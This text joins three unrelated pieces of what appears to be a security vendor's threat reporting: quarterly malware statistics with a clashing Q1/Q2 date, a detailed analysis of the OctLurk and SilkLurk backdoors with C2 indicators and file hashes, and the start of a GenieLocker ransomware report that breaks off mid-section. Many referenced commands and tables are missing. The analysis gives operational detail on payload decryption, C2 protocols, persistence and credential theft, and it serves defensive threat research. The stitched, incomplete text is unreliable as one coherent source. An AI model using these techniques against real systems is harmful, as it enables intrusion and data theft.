The statistics in this section are based on detection verdicts by Web Anti-Virus, which protects users when suspicious objects are downloaded from malicious or infected web pages. These malicious pages are purposefully created by cybercriminals. Websites that host user-generated content, such as message boards, as well as compromised legitimate sites, can become infected.

TOP 10 countries and territories that served as sources of web-based attacks

The following statistics show the distribution by country/territory of the sources of internet attacks blocked by Kaspersky products on user computers (web pages redirecting to exploits, sites containing exploits and other malware, botnet C&C centers, and so on). One or more web-based attacks could originate from each unique host.

To determine the geographic source of web attacks, we matched the domain name with the real IP address where the domain is hosted, then identified the geographic location of that IP address (GeoIP).

In Q2 2026, Kaspersky solutions blocked 399,312,961 attacks launched from internet resources worldwide. Web Anti-Virus was triggered by 52,850,592 unique URLs.

Web-based attacks by country/territory, Q1 2026 (download)

Countries and territories where users faced the greatest risk of online infection

To assess the risk of malware infection via the internet for users’ computers in different countries and territories, we calculated the share of Kaspersky users in each location on whose computers Web Anti-Virus was triggered during the reporting period. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries and territories.

This ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out Web Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.

* Excluded are countries and territories with relatively few (under 10,000) Kaspersky product users.
** Unique users targeted by web-based Malware attacks as a percentage of all unique users of Kaspersky products in the country/territory.

On average during the quarter, 4.54% of users’ computers worldwide were subjected to at least one Malware web attack.

Local threats

Statistics on local infections of user computers are an important indicator. They include objects that penetrated the target computer by infecting files or removable media, or initially made their way onto the computer in non-open form. Examples of the latter are programs in complex installers and encrypted files.

Data in this section is based on analyzing statistics produced by anti-virus scans of files on the hard drive at the moment they were created or accessed, and the results of scanning removable storage media. The statistics are based on detection verdicts from the On-Access Scan (OAS) and On-Demand Scan (ODS) modules of File Anti-Virus and include detections of malicious programs located on user computers or removable media connected to the computers, such as flash drives, camera memory cards, phones, or external hard drives.

In Q2 2026, our File Anti-Virus detected 16,986,351 malicious and potentially unwanted objects.

Countries and territories where users faced the highest risk of local infection

For each country and territory, we calculated the percentage of Kaspersky users whose computers had the File Anti-Virus triggered at least once during the reporting period. These statistics reflect the level of personal computer infection in different countries.

Note that this ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out File Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.

* Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
** Unique users on whose computers Malware local threats were blocked, as a percentage of all unique users of Kaspersky products in the country/territory.

On average worldwide, Malware local threats were detected at least once on 10.93% of users’ computers during Q2.

Russia scored 10.78% in these rankings.

Introduction

We have been tracking two new backdoors, OctLurk and SilkLurk, observed in attacks against government organizations primarily in Central Asia since January 2025. Identified victims are located in Afghanistan, Kyrgyzstan, Tajikistan, Uzbekistan, Kazakhstan, and the Syrian Arab Republic. These organizations operate across several sectors, including healthcare, research, government offices, ministries of foreign affairs, logistics, law‑enforcement agencies, urban planning and facilities management, and public educational establishments.

The backdoor loaders are customized for each victim and use information from the victim’s machine to decrypt the payload. Both the loaders and the backdoors are heavily obfuscated, making analysis more complicated. OctLurk and SilkLurk can download and inject additional plugins to perform further malicious actions, including launching command shells, performing file system activity, synthesizing keyboard and mouse events, network scanning, credential dumping, keylogging, password theft from browsers, email collection, and remote access. Furthermore, the attackers deployed a specialized utility we named LurkProxy, which we also cover in this report. While it has a highly similar architecture to the OctLurk backdoor, it is not a backdoor itself.

Our investigation shows that the same threat actor operates both SilkLurk and OctLurk , and some victims infected with SilkLurk also contain OctLurk. We assess with medium confidence that the same actor is behind both backdoors, and that they are Chinese‑speaking. However, at the time of publication, we couldn’t attribute this activity to any known group.

OctLurk

OctLurk Deployment

The attacker created a scheduled task named GoogleUpDate on remote machines using admin credentials. The task runs once with System account privileges right after it was created, executing the batch script located at C:\Users\<username>\Videos\1.bat (MD5 6ecf84fb18f6747ed08d7598364d853a). Prior to executing the task, the actor queries its status. It is then run, as shown below.

The 1.bat script creates a service named NgcCIntSvc, which loads the loader DLL named oleasapi.dll (MD5 082d49ef9f14e6811d68c7e0e82e5069). The ServiceMain parameter in the service’s registry entry is set to invoke the RegisterService function of oleasapi.dll as shown below.

LurkPoxy Deployment

In another case, the attacker at first checked connectivity to the domain dns[.]ssentialserv[.]xyz as shown below. At the time of our research, the domain was resolving to the address 154[.]196[.]162[.]76 which is used as a LurkProxy C2 server.

After confirming that the C2 server was reachable, the attacker executed the batch script C:\Users\[username]\Desktop\auto.bat (MD5 b874123a80fc4f40e06872b9cb54ebc6). The script created a service named Cusrxsrv, which loads a DLL named msbasesysdc.dll. In the service registry, the ServiceMain parameter was set to call the RegisterService function of msbasesysdc.dll as shown below.

We identified several service names — specitsrc, cmtastsvc, PNRPHostSvc, vmictimerosync, and vmicagent — that the attackers used to load a malicious DLL onto compromised machines.

OctLurk loader

The loader DLL exports two methods, Refresh and RegisterService. The previously created service first calls RegisterService, which in turn invokes Refresh, the method that contains the malicious code. To locate the payload, the loader double-XOR-decrypts and then zlib-decompresses a set of hard‑coded bytes, yielding the payload file path. The payload bytes itself undergoes the same double‑XOR decryption and zlib decompression to produce the backdoor DLL bytes.

The double‑XOR decryption uses two distinct multibyte keys:

• Key 1: hard‑coded in the loader
• Key 2: derived from the serial number of the C: drive

The backdoor DLL is reflectively injected into memory and its entry point is executed. The loader can then call the DLL’s exported methods either by name or by ordinal; both the method name and the ordinal number are hard‑coded in the loader and are decrypted using the same double‑XOR and zlib‑decompression process applied to the payload path and bytes.

OctLurk backdoor

The loader invokes the backdoor’s curl_easy_escape function (ordinal 2). The backdoor then creates a stream socket using a hard‑coded C2 address (dns[.]multitoconference[.]com) and port 443. It gathers the following information from the victim machine:

• OS information as RTL_OSVERSIONINFOW structure
• Computer name
• User name
• Local host name
• Local IP address in format %u.%u.%u.%u, with local hostname-to-IP-address translation
• Current local date and time as SYSTEMTIME struct

To encrypt the collected data, the backdoor employs a hard‑coded XOR key, which in most cases we observed was the string FDrertgr##@QEWASGkio865ehyf98foidsjzhug874392dfsREFDfdsAGH43wea98h. In addition, it generates 0x53 (83) random bytes — this length is also hard‑coded in the sample — and uses them as a second XOR key. The collected victim information is first compressed with zlib (deflate), and then XOR‑encrypted twice, first with the hard‑coded string key and then with the randomly generated byte sequence. The final data is arranged as follows:

• 0x00: randomly generated XOR key bytes (size 83 bytes)
• 0x53: compressed data size
• 0x57: compressed data in the following format: <uncompressed_size> <deflate(data)>
• 0x57 + compressed_data_size: randomly generated bytes (from 14 to 41 bytes)

The backdoor initially transmits a 16‑byte header that specifies the size of the incoming data packet, as shown below. It then sends the actual data packet.

• 0x00: randomly picked 10 chars from the string “zyxwvutsrqponmlkjihgfedcbaABCDEFGHIJKLMNOPQRSTUVWXYZ9876543210-_”
• 0x0A: \x00\x00
• 0x0C: next_packet_size

The first packet received is 16 bytes long, and its last four bytes specify the size of the subsequent data packet. The format of the subsequent data packet is shown below.

• 0x00: XOR key; size 83 bytes
• 0x53: compressed data size
• 0x57: compressed data in the format: <uncompressed_size> <deflate(data)>

The received data is decrypted using a double‑XOR method: first with the XOR key contained in the packet, then with a hard‑coded XOR key. After the XOR decryption, the data is zlib decompressed. The data may be a command or a plugin code.

OctLurk loads plugins from the C2 server directly into memory to perform various tasks. Each plugin exports two methods — ins_ctl_db and oct_lk_col — with the actual functionality implemented in oct_lk_col. Our analysis shows that the plugins listed below are commonly deployed on victim machines.

• Command Shell: provides a command shell
• File Manager: performs filesystem interaction
• Interaction Manager: synthesizes keyboard and mouse events

The table below provides a detailed description of operations performed by these plugins, where each switch case value denotes command ID.

Post-compromise activity

The attacker used the command‑shell plugin installed via the OctLurk backdoor to perform the following actions:

Victim fingerprinting

The attacker used admin credentials to create a scheduled task named GoogleUpDate on remote machines. This task runs once with System account privileges, executing the script located at C:\windows\temp\in.bat (MD5 45cf5916fab4272a1313c26e67aa9220, 4e6d5c4770d5a822d7fcce6a74f7ad73). After querying the task’s status, the attacker triggers its execution, as shown below.

The batch script runs a series of commands that collect comprehensive information about the machine’s hardware, software, and network configuration as shown in the table below. The results are saved in three files — info.txt, <hostname>.datb, and <hostname>_logs.datb — all stored in the %TEMP% directory.

Event log collection

The attackers ran commands to export successful logon events for remote interactive logons (e.g., Remote Desktop Protocol) and to query those events for specific users.

Credential harvesting

Impacket — secretsdump

Attackers ran a malicious file named Adobe.exe (MD5 32a5985543433a4f60da2fafd873b927), which is a portable‑executable version of Impacket’s secretsdump.py tool. Using this tool, they extracted password hashes from domain controllers, the critical servers in an Active Directory environment. Immediately after harvesting the hashes, they issued commands to list all members of the “Domain Controllers” group, likely to identify and target additional domain controllers for further compromise.

Keylogger

Attackers dropped and executed a keylogger located at C:\Users\Public\Pictures\AnyDesk.exe (MD5: 2a571f6cee42a17d873f4c942649813f). They then created a scheduled task named AnyDesk to run the keylogger whenever any user logged on as shown below.

The keylogger creates two files: C:\Users\Public\Libraries\msect\dev0, which stores captured keystrokes, and C:\Users\Public\Libraries\msect\dev1, which holds clipboard data. Before writing to these files, the captured data is encoded by subtracting 2 from each byte.

Browser Password Decryptor

The Browser Password Decryptor tool C:\users\[username]\libraries\64.exe (MD5 37dc84e4bcad92fa28f1e7778d088283) is used to extract passwords from browsers. The tool offers two options: -help to extract passwords from Chrome and -exit to extract passwords from Firefox. For Chrome, the tool targets the Login Data and Local State databases located at %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data and %LOCALAPPDATA%\Google\Chrome\User Data\Local State, respectively. The Local State contains the master key, which is essential for decrypting encrypted login information stored in the Login Data database file. For Firefox, the tool targets the logins.json file located at %APPDATA%\Mozilla\Firefox\Profiles\{profile folder}. The logins.json file in Firefox stores encrypted usernames and passwords for websites.

Remote access : Pandora FMS agents (Pandora RC agent)

Pandora RC agent provides remote control of a victim’s computer, allowing attackers to monitor and manipulate the system. Using administrative credentials, the attacker creates a scheduled task named GoogleUpDate on the compromised machines. This task runs once with System account privileges and executes the script 1.bat, which can be found at either C:\Users\[username]\1.bat or C:\ProgramData\1.bat (MD5 5e26df131ff0a679a0a2699b723b46e3). The task’s status is first queried, then it is executed, as shown below.

The batch script 1.bat executes a command that downloads and installs the Pandora RC agent using the arguments shown below.

• EHUSER: a Pandora RC user
• STARTEHORUSSERVICE: start the agent after the installation finishes (default = 1)
• EHORUSINSTALLFOLDER: specify the folder where you want to install the agent (default: %ProgramFiles%\_agent)
• DESKTOPSHORTCUT: 0: do not create a desktop shortcut

Network scan: FSCAN

Fscan is a comprehensive internal‑network scanning tool that offers a range of functions, including network discovery, vulnerability assessment, reverse‑shell creation, and brute forcing of common services. The executable is dropped to %TEMP%\fc.exe (MD5: cf903e4a1629aa0582fd0363b5786676) and writes its output to %TEMP%\result.txt. Using Fscan, both internal and public networks were scanned to identify services running on specific ports, such as Secure Shell (SSH) on port 22 and MySQL on port 3306. The tool also attempted to access these services using credentials from the password file pp.txt.

Email harvesting

The attackers used the curl command to connect to an email server, authenticate with a username and password, and issue a command to select the Inbox folder. Typically, the goal is to:

• Verify that a connection to the email server is working
• Authenticate the user
• Prepare the Inbox folder for reading or manipulating messages (e.g., listing, fetching, or deleting emails)

LurkProxy

In a similar manner to the OctLurk backdoor, the attacker also deployed another implant we named LurkProxy, which uses a heavily obfuscated version of the OctLurk loader. While LurkProxy has a nearly identical architecture to the OctLurk backdoor, its primary role is to proxy network traffic. Like the OctLurk, it exports a function named curl_escape_easy, which the loader invokes. Once executed, LurkProxy listens on all interfaces on hard‑coded port 64980 and establishes a TLS‑encrypted connection to the C2 server (154[.]196[.]162[.]76). The C2 communication uses a proprietary binary protocol, where each packet is compressed with zlib, encrypted with a double‑XOR scheme, and follows the structure outlined below.

LurkProxy can function as a reverse proxy in two distinct modes as described below. The mode is selected by a static flag, meaning the proxy can operate in only one mode at a time. In the implant we examined, the first (SOCKS5) mode was used.

Mode 1: SOCKS5 proxy

When a client connects, LurkProxy sends to the C2 the command 0x1000010, indicating that the connection has been established and includes the target address in the packet data. The C2 server then opens a connection to that address, enabling bidirectional communication through the appropriate commands.

Mode 2: transparent proxy

In this mode, the target address and port are hard‑coded. Upon startup, LurkProxy immediately connects to the predefined target via the C2 channel using the same command. All subsequent client connections are routed through this single, fixed target. This mode handles raw network traffic directly, bypassing the SOCKS5 layer.

SilkLurk

Deployment

The attacker created a service that executes legitimate binaries, such as NetSetSvc.exe (NVIDIA debug dump), nvgwls.exe (NVIDIA background tool responsible for autotuning), RtkSmbus.exe (Realtek Semiconductor’s noise‑cancelling program), and RtkNGUI64.exe (Realtek High‑Definition Audio Manager), to side‑load malicious loader DLLs: nvml.dll, vulkan-1.dll, RtkSmbusLoc.dll, and RtkNGUI64Loc.dll, respectively. These DLLs act as a loader that will inject SilkLurk backdoor into the process memory.

SilkLurk loader

SilkLurk loader working logic

The loader first verifies that it is running within the legitimate executable that loads it. Next, it moves the payload file (in the analyzed sample, it was named OneDrive.dat) from its module location (C:\ProgramData\Microsoft\Network\Connections in the analyzed sample) to the hard‑coded payload path (C:\ProgramData\Microsoft OneDrive\setup in the analyzed sample). Note that the hard-coded payload path may vary depending on the loader.

Next, the loader creates a service named RmSs to maintain persistence. The service will run the legitimate module binary (C:\ProgramData\Microsoft\Network\Connections\nvgwls.exe) that loads the malicious loader (vulkan-1.dll). The service is configured with the parameters mentioned below. Additionally, the service configuration is modified to restart the service in the event of a failure. Finally, the loader starts the service.

• Service Type: SERVICE_WIN32_OWN_PROCESS
• Start Type: SERVICE_AUTO_START
• Error Control: SERVICE_ERROR_NORMAL

On service start, loader calls StartServiceCtrlDispatcher, which will invoke ServiceProc. The ServiceProc then calls the routine s_1800078F0_decrypt_and_run_payload. This routine computes a 32-bit hash (dword) of the victim’s computer name. The dword hash is used by a custom algorithm made up of arithmetic and logical operations to decrypt the hardcoded payload file path. The payload bytes themselves are decrypted with the same algorithm that decoded the file path. By using the victim’s computer name in the decryption of both the file path and the payload bytes, the loader becomes specific to each victim. The decrypted bytes contain shellcode with the following structure:

The stub code decrypts and injects the backdoor blob into memory. To decrypt the blob, it first computes a dword hash of the computer’s name. This hash is then fed into a custom algorithm — a series of arithmetic and logical operations — that performs the decryption. This algorithm differs from the one used to decrypt the payload file.

The IMAGE_DOS_HEADER of the backdoor binary is zeroed out. Information in the IMAGE_NT_HEADERS, such as ImageSize and NumberOfSections, is XOR-decrypted using the hash of the computer name. The first three sections are decrypted again using a custom algorithm (a series of arithmetic and logical operations) before being injected into memory.

During import resolution, DLL names and API names are XOR‑decrypted using a hard‑coded single‑byte key. After the import DLL is loaded and the API addresses are resolved, the DLL and API name strings are zeroed out.

During relocation, the size of each relocation block, the value of each relocation entry, and the bytes to be relocated are XOR‑decrypted using the dword hash of the computer name. Afterward, the entry point is also XOR‑decrypted with the same hash and then invoked.

SilkLurk backdoor

The backdoor contains a hardcoded configuration of 0x4AC (1196) bytes, with the first 0x10 (16) bytes holding a mutex string and the remaining 0x49C (1180) bytes comprising encrypted configuration data; this configuration is written to a hardcoded filename (e.g., 2470b666bece868f, 27879a4df1a740ff) that differs across samples and is placed in the %APPDATA% directory. The configuration is decrypted using a custom algorithm involving a series of arithmetic and logical operations that is distinct from the algorithm used to decrypt the encrypted backdoor blob and payload file. The configuration has the following structure:

The backdoor creates a TCP socket and connects to the C2 server defined in the configuration. If proxy details are provided, it attempts to establish the C2 connection through the proxy. The proxy request uses the following format:

CONNECT %s:%d HTTP/1.1
Proxy-Connection: Keep-Alive
Host: %s:%d
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/86.0.4240.75 Safari/537.36

After successfully connecting to the C2 server, it generates a random 32‑byte (0x20) network key that will be used to encrypt and decrypt network packets. This key is appended to the magic dword, as shown in the table below, creating a 40‑byte block that is then encrypted with a custom algorithm: a series of arithmetic and logical operations that differs from the one used to decrypt the configuration.

It then prepares a packet to send the key to the command‑and-control server, as shown in the table below. The packet contains a 0xC (12‑byte) header, a 0x28 (40‑byte) block of encrypted network‑key data (see the table above), and a randomly generated payload whose size ranges from 0x14 (20) to 0xB4 (180) bytes.

After sending the key, the backdoor collects the following victim information: local computer name, DNS domain assigned to the local computer, user’s logon name, processor architecture, OS major version and build number, host IP address, current process ID, tick count value, and backdoor module name. The collected victim information is first compressed and then encrypted using the network key. The custom algorithm (a series of arithmetic and logical operations) used to encrypt collected victim information is different from the algorithms used to decrypt the configuration and encrypt the network key. Before sending the victim information, a 0x0F (15) byte header is generated and encrypted using the same custom algorithm used to encrypt the collected victim data. The header follows the format as shown in the table below.

Finally, the encrypted header and victim information are formatted as shown below and transmitted to the C2 server.

<random_dword><encrypted header><encrypted victim information><random bytes>

Once the backdoor has transmitted the victim information, it waits for a 0x13‑byte (19‑byte) response from the C2 server. This response follows the structure presented in the table below.

The encrypted header contained in the response is decrypted with the network key that was generated and shared with the C2 server. After decryption, the header retains the same size and structure as the one used in the victim information message.

The message type field in the header (offset 0x04) determines which operation (command) to perform. Next, the backdoor figures out the size of the command data to receive by adding up the size of the encrypted data (found at position 0x08 in the received header) and the size of the random bytes (found at position 0x0D in the received header). The received command data is first decompressed, based on the compression flag located at position 0x0D in the received header, and then decrypted using the custom algorithm that was used to encrypt the sent data. The backdoor supports the following commands:

Post-compromise activity

The threat actor operating the SilkLurk backdoor first used it to invoke cmd.exe to launch PowerShell. Within PowerShell, they ran commands such as net use to connect to shared network resources with administrative credentials. After establishing the connection, they searched the shared drives for confidential documents to exfiltrate. Once the search was complete, they disconnected from the network share to erase evidence of which internal servers had been accessed. To archive the stolen data, they employed legitimate archiving tools: WinRAR and 7‑Zip.

Below are the paths and names of the WinRAR and 7Zip binaries used by the attackers.

Second-stage payload

PlugX

The SilkLurk backdoor opened a command shell (cmd.exe). Using this shell, the attacker executed the file C:\ProgramData\microsoft\html help\kmsonline.exe (MD5: 3c9a1ba8e0c7475706adc6376e9d7b7c). The kmsonline.exe binary acted as a dropper for the PlugX malware, deploying the malicious files listed below.

C:\ProgramData\Symantec\RasTls.exe - Legitimate Binary (MD5 62944e26b36b1dcace429ae26ba66164)
C:\ProgramData\Symantec\RasTls.dll - PlugX Loader Dll (MD5 ef59aad625eebda8650aec5820d6ce69)
C:\ProgramData\Symantec\RasTls.dll.res - PlugX Payload file

Our Kaspersky Threat Attribution Engine (KTAE) also identified a strong degree of similarity between kmsonline.exe (MD5: 3c9a1ba8e0c7475706adc6376e9d7b7c) and PlugX.

PlugX was configured to communicate with the C2 domain gycudore[.]kozow[.]com and the IP address 64[.]7[.]198[.]130. Below are the extracted configuration fields from PlugX.

Infrastructure

The threat infrastructure relies on VPS servers. Some OctLurk and LurkProxy C2 addresses are referenced in a public report by Kazakhstan’s State Technical Service (STS) company. According to available data, a campaign targeting critical infrastructure in Kazakhstan was discovered in March 2025. During this campaign, attackers employed the TrustFall (STS internal designation) remote access malware, also known as MystRodX (Qianxin) and SilentRaid (Cisco) and designed for Linux-based operating systems. Subsequently, in October 2025, STS researchers found additional TrustFall samples, while also discovering its new C2 servers via active probing. Notably, three observed TrustFall C2 addresses were also leveraged by OctLurk and LurkProxy. This overlap points to shared infrastructure across multiple OS-targeting campaigns, though it remains unclear whether these activities ran concurrently or at different times.

Attribution

We identified multiple artifacts confirming that OctLurk and SilkLurk are operated by the same threat actor. Several users infected with OctLurk were also found to be infected with SilkLurk, and in some cases both malware families used the same staging directory. Below are examples of these artifacts.

1. In one incident, the attackers created the service C:\Windows\system32\svchost.exe -k ExAstSrc -s ExAstSrc to deploy OctLurk. They used OctLurk to obtain a command shell and were observed dropping the SilkLurk loader vulkan-1.dll (MD5 be4731c09734da2e8eb6814a9c82f266) via this shell, as shown below.
   
2. In another incident, we observed attackers using the same directory C:\ProgramData\intel\ to drop both the OctLurk and SilkLurk loader DLLs.

In one incident, the attacker used SilkLurk to obtain a command shell (cmd.exe) and then deployed and executed the PlugX malware. The PlugX sample was configured to contact gycudore[.]kozow[.]com as its command‑and‑control (C2) server, while the SilkLurk backdoor used ctyuhjerf[.]kozow[.]com for C2. PlugX is a well‑known modular remote‑access Trojan (RAT) that has been active since at least 2008 and historically linked to Chinese-speaking threat actors. This suggests that both OctLurk and SilkLurk were also developed and operated by a Chinese‑speaking actor, although at this time, we cannot attribute this activity to a known threat group.

Conclusions

The emergence of the OctLurk and SilkLurk multi‑plugin malware framework highlights how threat actors continuously refine their tactics to evade detection and maintain control over compromised networks. Both families operate primarily in memory, leaving only a minimalistic loader on disk that relies on machine‑specific data (OctLurk uses the drive serial number, and SilkLurk uses the computer name) to decode payload locations and contents. This victim‑specific encoding makes reverse engineering and automated detection considerably harder.

In addition to sophisticated obfuscation, the attackers establish redundant access channels, harvest credentials, and deploy well‑known remote access and monitoring tools. These secondary pathways ensure persistence even if the original infection vector is discovered or neutralized.

Indicators of Compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

Backdoor domains and IPs

OctLurk C2

dns[.]multitoconference[.]com
tj[.]tajikistandip[.]com
fm01[.]clouddevicemetrics[.]com
confbase[.]mdpsupport[.]net
digital[.]leroymerling[.]com
api2[.]annoyingremote[.]com
about[.]blsouqs[.]com
ssl[.]blsouqs[.]com
45[.]138[.]157[.]165

LurkProxy C2

dns[.]ssentialserv[.]xyz
154[.]196[.]162[.]76

SilkLurk C2

tyhbgtyuj[.]gleeze[.]com
95[.]179[.]210[.]138
wedfcvbn[.]gleeze[.]com
45[.]77[.]136[.]228
rgnojb[.]casacam[.]net
95[.]179[.]141[.]26
ctyuhjerf[.]kozow[.]com
45[.]32[.]152[.]50
212[.]11[.]39[.]138
195[.]86[.]120[.]2
uyhvfredc[.]accesscam[.]org
154[.]196[.]187[.]73
45[.]61[.]149[.]112
wedfcvbn[.]gleeze[.]com
45[.]77[.]136[.]228
gycudore[.]kozow[.]com
64[.]7[.]198[.]130

Loaders

OctLurk loader

082d49ef9f14e6811d68c7e0e82e5069 oleasapi.dll
f4578e869a735cfad691f927bae3e638 msbasesysdc.dll
7c2f64461bb519c6cbf1fc687675514c mscastrac.dll

SilkLurk loader

8269d6ba1b6842f9152c90cf7add9b93 vulkan-1.dll

PlugX dropper

3c9a1ba8e0c7475706adc6376e9d7b7c kmsonline.exe

PlugX loader

ef59aad625eebda8650aec5820d6ce69 RasTls.dll

OctLurk backdoor

a0cc7accc79abb0287aaba825d0351f0

OctLurk File Manager plugin

a56cce62930a6bee80d679b4c495a340

OctLurk Command Shell plugin

1415a78b75de7db4ba3d1e61d7db4501

OctLurk Interaction Manager plugin

a4d550a3ba0cd073fe3839b99d98a7a8

Impacket’s secretsdump (not available)

32a5985543433a4f60da2fafd873b927 Adobe.exe

Keylogger

2a571f6cee42a17d873f4c942649813f AnyDesk.exe

Browser password stealer

37dc84e4bcad92fa28f1e7778d088283 x64.exe

FSCAN

cf903e4a1629aa0582fd0363b5786676 fc.exe

Batch scripts (not available)

6ecf84fb18f6747ed08d7598364d853a 1.bat
b874123a80fc4f40e06872b9cb54ebc6 auto.bat
45cf5916fab4272a1313c26e67aa9220 in.bat
4e6d5c4770d5a822d7fcce6a74f7ad73 in.bat
5e26df131ff0a679a0a2699b723b46e3 1.bat

Archive utilities

WinRAR

18dc8bff47cc282508354771d0c8cf8c RecordedTV.exe, recordutil.exe

7zip

9a1dd1d96481d61934dcc2d568971d06 7z.exe

File paths

OctLurk file paths

C:\Users\[username]\Videos\1.bat
C:\Windows\System32\oleasapi.dll
C:\Windows\Media\Welcome01.wav
C:\windows\temp\in.bat
C:\Users\[username]\1.bat
C:\ProgramData\1.bat
C:\Windows\System32\msbasesysdc.dll
C:\Windows\System32\Waavsstrace.dll
C:\Windows\System32\SystemSettings.Publishing.dll
C:\Windows\System32\msdctries.dll
C:\Users\Public\Pictures\AnyDesk.exe
C:\Users\Public\Libraries\msect\dev0
C:\Users\Public\Libraries\msect\dev1
C:\users\[username]\libraries\64.exe
C:\ProgramData\Ehorus\
%TEMP%\fc.exe

SilkLurk file paths

C:\programdata\microsoft\network\connections\nvgwls.exe
C:\ProgramData\Veeam\EndpointData\nvgwls.exe
c:\ProgramData\microsoft\network\connections\vulkan-1.dll
C:\ProgramData\microsoft\network\downloader\vulkan-1.dll
C:\ProgramData\intel\vulkan-1.dll
C:\Users\Public\Music\vulkan-1.dll
C:\ProgramData\HP\NCCOM\vulkan-1.dll
C:\ProgramData\intel\gcc\vulkan-1.dll
C:\Windows\System32\0409\vulkan-1.dll
C:\ProgramData\veeam\endpointdata\vulkan-1.dll
C:\ProgramData\plug\vulkan-1.dll
C:\Program Files\nvidia corporation\display.nvcontainer\plugins\vulkan-1.dll
C:\ProgramData\microsoft onedrive\setup\vulkan-1.dll
C:\vmware\vmware tools\vmware vgauth\schemas\vulkan-1.dll
C:\ProgramData\nvidia\ngx\vulkan-1.dll
C:\ProgramData\microsoft\microsoft\vulkan-1.dll
C:\ProgramData\usoprivate\updatestore\vulkan-1.dll
C:\ProgramData\Microsoft OneDrive\setup\OneDrive.dat
C:\ProgramData\NVIDIA\DisplayDriverContainer1.log
C:\ProgramData\Microsoft\Diagnosis\ETLLogs\ETL.log
C:\ProgramData\NVIDI\NGX\ngx.dat
C:\ProgramData\Intel\GCC\2024.log
C:\ProgramData\veem\pyshellext.amd64.log
C:\ProgramData\Microsoft\RtkNGUI\RtkNGUI64.exe
C:\ProgramData\microsoft\rtkngui\RtkNGUI64Loc.dll
C:\ProgramData\realtek\audio\RtkNGUI64Loc.dll
C:\realtek\audio\RtkNGUI64Loc.dll
C:\ProgramData\USOPrivate\UpdateStore\Store.dat
C:\ProgramData\Microsoft\Crypto\Keys\Store.key
C:\DrvPath\Network\Lan\Realtek\NetSetSvc.exe
C:\drvpath\network\lan\realtek\nvml.dll
C:\microsoft\network\connections\nvml.dll
C:\ProgramData\microsoft\network\connections\nvml.dll
C:\Windows\System32\0419\nvml.dll
C:\veeam\nvml.dll
C:\microsoft\network\nvml.dll
C:\ProgramData\hp\nvml.dll
C:\usoprivate\updatestore\nvml.dll
c:\nvidia corporation\display.nvcontainer\plugins\nvml.dll
C:\Users\Public\Pictures\image.png
C:\Users\Public\Documents\My Pictures\image.png
C:\ProgramData\Realtek\Audio\RtkSmbus.exe
C:\ProgramData\realtek\audio\RtkSmbusLoc.dll
C:\rtksmbusact\RtkSmbusLoc.dll
C:\ProgramData\rtksmbusact\RtkSmbusLoc.dll
C:\realtek\audio\RtkSmbusLoc.dll

PlugX file paths

C:\ProgramData\microsoft\html help\kmsonline.exe
C:\ProgramData\Symantec\RasTls.exe
C:\ProgramData\Symantec\RasTls.dll
C:\ProgramData\Symantec\RasTls.dll.res

WinRAR and 7z file paths

C:\Users\[username]\Libraries\RecordedTV.exe
C:\Users\[username]\Libraries\recordutil.exe
C:\windows\vss\7z.exe

Introduction

The new GenieLocker ransomware family has been active since March 2026. It has been used in attacks against organizations in the Russian Federation, primarily in the manufacturing sector, and attributed to the Toy Ghouls group by open-source intelligence (link in Russian).

The Toy Ghouls, also known as Bearlyfy, Labubu and Laboo.boo, is a financially motivated extortion group, which previously relied on third-party encryption Trojans like RedAlert, LockBit, and Babuk. GenieLocker, apparently a custom design, upgrades their toolkit and reduces their reliance on third-party software. We discovered multiple samples of this Trojan in two variants: PE builds for Windows and ELF builds for Linux and ESXi.

Technical details

Modus operandi

We described typical TTPs and modus operandi of the Toy Ghouls threat actor in the previous post (link in Russian).

In this article, we aim to thoroughly describe the capabilities of Windows and Linux builds of the custom encryption Trojan GenieLocker. To give more context, we will also provide a brief overview of the attack that took place at the end of March 2026, where GenieLocker was deployed on the victim’s systems.

Initial Access

During the incident, the attackers first entered the environment through an OpenVPN connection originating from an external partner’s network. They likely exploited the trusted relationship with that partner and used stolen, yet still valid, credentials to connect.

Discovery and Credential Access

After breaching the target’s network, the attackers installed additional tools on the compromised hosts, including OpenSSH, socks5.exe, SoftPerfect Network Scanner, and Mimikatz. They employed SoftPerfect Network Scanner for discovery and used Mimikatz to dump credentials. Forensic analysis also shows that they accessed the KeePassXC password manager already installed on several compromised machines, likely attempting to extract the stored credentials from the KeePass databases.

Lateral Movement and Command and Control

Lateral movement was performed by using RDP to reach Windows machines and SSH for Linux servers. The widespread deployment of the encryption Trojan was conducted with the legitimate utilities PsExec and PAExec. Additionally, the attackers established a reverse SSH tunnel to communicate with their command‑and‑control server.

Impact

During the impact phase, the attackers encrypted files on the compromised Windows machines with the PE version of the GenieLocker ransomware. On the compromised Linux and ESXi servers, they stopped active virtual machines and encrypted their disks using the ELF version of GenieLocker.

The tactics, techniques, and procedures seen here match those documented in earlier attacks attributed to the Toy Ghouls group. As in those prior incidents, forensic analysis found no evidence of data exfiltration, which is typical behavior for this threat actor. Toy Ghouls have not employed a double‑extortion model and do not run a data‑leak website.

Encryption Trojan for Windows

The Windows version of GenieLocker (MD5: 5d62c1349b8981c396c9a23f4f8f053c) is primarily written in C, but compiled with the C++ libraries using Microsoft Visual C/C++. The malware incorporates several ransom‑related capabilities, including process termination, service shutdown, debugger evasion, and a sophisticated encryption routine. For its cryptographic operations, it relies on the open‑source libsodium library.

Aligned with the recent trend supported by our expertise, as observed in attacks of some other ransomware strains, GenieLocker doesn’t save the ransom notes on the victim’s system. The Trojan doesn’t contain any attackers’ contact info or negotiation addresses. Instead, the attackers will need to deliver the ransom demands and contacts manually during the attack. This approach may be an attempt by the GenieLocker developers to avoid proactive detection of the ransomware process being triggered by the creation of multiple readme files.

GenieLocker help message

Arguments and launch

GenieLocker supports multiple arguments for configuring its behavior.

GenieLocker expects the first argument to be a hex string referred to in the malware code as the “secret argument”, which is required for the ransomware to start. Most likely, the purpose of this is to avoid execution on sandboxes and other automated analysis environments. Another reason may be to prevent unauthorized usage by other threat actors.

Checking the secret argument

